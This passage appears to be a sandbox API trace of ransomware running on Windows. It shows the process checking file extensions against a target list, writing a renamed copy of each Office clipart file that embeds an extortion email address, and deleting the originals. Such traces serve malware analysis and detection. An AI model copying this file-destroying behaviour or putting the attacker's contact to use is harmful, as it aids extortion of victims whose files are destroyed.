returned -1 [0063.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.366] lstrlenW (lpString=".jpg") returned 4 [0063.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.366] lstrlenW (lpString=".doc") returned 4 [0063.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.366] lstrlenW (lpString=".docx") returned 5 [0063.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.367] lstrlenW (lpString=".pdf") returned 4 [0063.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.367] lstrlenW (lpString=".xls") returned 4 [0063.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.367] lstrlenW (lpString=".xlsx") returned 5 [0063.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.367] lstrlenW (lpString=".ppt") returned 4 [0063.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.367] lstrlenW (lpString=".zip") returned 4 [0063.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.367] lstrlenW (lpString=".rar") returned 4 [0063.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.367] lstrlenW (lpString=".bz2") returned 4 [0063.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.367] lstrlenW (lpString=".7z") returned 3 [0063.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.367] lstrlenW (lpString=".dbf") returned 4 [0063.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.367] lstrlenW (lpString=".1cd") returned 4 [0063.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0063.367] lstrlenW (lpString=".jpg") returned 4 [0063.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.367] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.368] lstrlenW (lpString="AN02122_.WMF") returned 12 [0063.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.838] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=7540) returned 1 [0063.838] CloseHandle (hObject=0x2c0) returned 1 [0063.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0063.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.838] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.839] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0063.840] GetLastError () returned 0x0 [0063.840] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1d74, lpOverlapped=0x0) returned 1 [0063.842] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1d80, lpOverlapped=0x0) returned 1 [0063.853] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.854] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0063.854] SetEndOfFile (hFile=0x380) returned 1 [0063.854] CloseHandle (hObject=0x380) returned 1 [0063.855] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.855] SetEndOfFile (hFile=0x2c0) returned 1 [0063.856] CloseHandle (hObject=0x2c0) returned 1 [0063.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0063.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.857] lstrlenW (lpString=".doc") returned 4 [0063.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.857] lstrlenW (lpString=".docx") returned 5 [0063.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.857] lstrlenW (lpString=".pdf") returned 4 [0063.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.857] lstrlenW (lpString=".xls") returned 4 [0063.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.857] lstrlenW (lpString=".xlsx") returned 5 [0063.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.857] lstrlenW (lpString=".ppt") returned 4 [0063.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.857] lstrlenW (lpString=".zip") returned 4 [0063.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.857] lstrlenW (lpString=".rar") returned 4 [0063.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString=".bz2") returned 4 [0063.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString=".7z") returned 3 [0063.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.858] lstrlenW (lpString=".dbf") returned 4 [0063.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.858] lstrlenW (lpString=".1cd") returned 4 [0063.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.858] lstrlenW (lpString=".jpg") returned 4 [0063.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.858] lstrlenW (lpString=".doc") returned 4 [0063.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString=".docx") returned 5 [0063.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.858] lstrlenW (lpString=".pdf") returned 4 [0063.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString=".xls") returned 4 [0063.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.858] lstrlenW (lpString=".xlsx") returned 5 [0063.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.858] lstrlenW (lpString=".ppt") returned 4 [0063.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.858] lstrlenW (lpString=".zip") returned 4 [0063.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.859] lstrlenW (lpString=".rar") returned 4 [0063.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.859] lstrlenW (lpString=".bz2") returned 4 [0063.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.859] lstrlenW (lpString=".7z") returned 3 [0063.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.859] lstrlenW (lpString=".dbf") returned 4 [0063.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.859] lstrlenW (lpString=".1cd") returned 4 [0063.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0063.859] lstrlenW (lpString=".jpg") returned 4 [0063.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.859] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.860] lstrlenW (lpString="AN04117_.WMF") returned 12 [0063.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.860] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=6060) returned 1 [0063.860] CloseHandle (hObject=0x2c0) returned 1 [0063.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0063.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.860] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.860] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0063.861] GetLastError () returned 0x0 [0063.861] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x17ac, lpOverlapped=0x0) returned 1 [0063.863] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x17b0, lpOverlapped=0x0) returned 1 [0063.864] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.864] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0063.864] SetEndOfFile (hFile=0x380) returned 1 [0063.864] CloseHandle (hObject=0x380) returned 1 [0063.865] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.865] SetEndOfFile (hFile=0x2c0) returned 1 [0063.866] CloseHandle (hObject=0x2c0) returned 1 [0063.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0063.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.867] lstrlenW (lpString=".doc") returned 4 [0063.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.867] lstrlenW (lpString=".docx") returned 5 [0063.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.867] lstrlenW (lpString=".pdf") returned 4 [0063.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.867] lstrlenW (lpString=".xls") returned 4 [0063.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.867] lstrlenW (lpString=".xlsx") returned 5 [0063.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.867] lstrlenW (lpString=".ppt") returned 4 [0063.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.867] lstrlenW (lpString=".zip") returned 4 [0063.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.868] lstrlenW (lpString=".rar") returned 4 [0063.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.868] lstrlenW (lpString=".bz2") returned 4 [0063.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.868] lstrlenW (lpString=".7z") returned 3 [0063.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.868] lstrlenW (lpString=".dbf") returned 4 [0063.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.868] lstrlenW (lpString=".1cd") returned 4 [0063.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.868] lstrlenW (lpString=".jpg") returned 4 [0063.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.868] lstrlenW (lpString=".doc") returned 4 [0063.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.868] lstrlenW (lpString=".docx") returned 5 [0063.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.868] lstrlenW (lpString=".pdf") returned 4 [0063.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.868] lstrlenW (lpString=".xls") returned 4 [0063.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.868] lstrlenW (lpString=".xlsx") returned 5 [0063.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.868] lstrlenW (lpString=".ppt") returned 4 [0063.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.869] lstrlenW (lpString=".zip") returned 4 [0063.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.869] lstrlenW (lpString=".rar") returned 4 [0063.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.869] lstrlenW (lpString=".bz2") returned 4 [0063.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.869] lstrlenW (lpString=".7z") returned 3 [0063.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.869] lstrlenW (lpString=".dbf") returned 4 [0063.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.869] lstrlenW (lpString=".1cd") returned 4 [0063.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0063.869] lstrlenW (lpString=".jpg") returned 4 [0063.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.869] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.869] lstrlenW (lpString="AN04134_.WMF") returned 12 [0063.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.870] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3416) returned 1 [0063.870] CloseHandle (hObject=0x2c0) returned 1 [0063.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0063.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0063.870] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.870] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0063.871] GetLastError () returned 0x0 [0063.871] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xd58, lpOverlapped=0x0) returned 1 [0063.872] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xd60, lpOverlapped=0x0) returned 1 [0063.873] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.873] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0063.873] SetEndOfFile (hFile=0x380) returned 1 [0063.874] CloseHandle (hObject=0x380) returned 1 [0063.875] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.875] SetEndOfFile (hFile=0x2c0) returned 1 [0063.875] CloseHandle (hObject=0x2c0) returned 1 [0063.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0063.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.876] lstrlenW (lpString=".doc") returned 4 [0063.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.876] lstrlenW (lpString=".docx") returned 5 [0063.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.876] lstrlenW (lpString=".pdf") returned 4 [0063.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.876] lstrlenW (lpString=".xls") returned 4 [0063.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.876] lstrlenW (lpString=".xlsx") returned 5 [0063.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.876] lstrlenW (lpString=".ppt") returned 4 [0063.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.877] lstrlenW (lpString=".zip") returned 4 [0063.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.877] lstrlenW (lpString=".rar") returned 4 [0063.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString=".bz2") returned 4 [0063.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString=".7z") returned 3 [0063.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.877] lstrlenW (lpString=".dbf") returned 4 [0063.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.877] lstrlenW (lpString=".1cd") returned 4 [0063.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.877] lstrlenW (lpString=".jpg") returned 4 [0063.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0063.877] 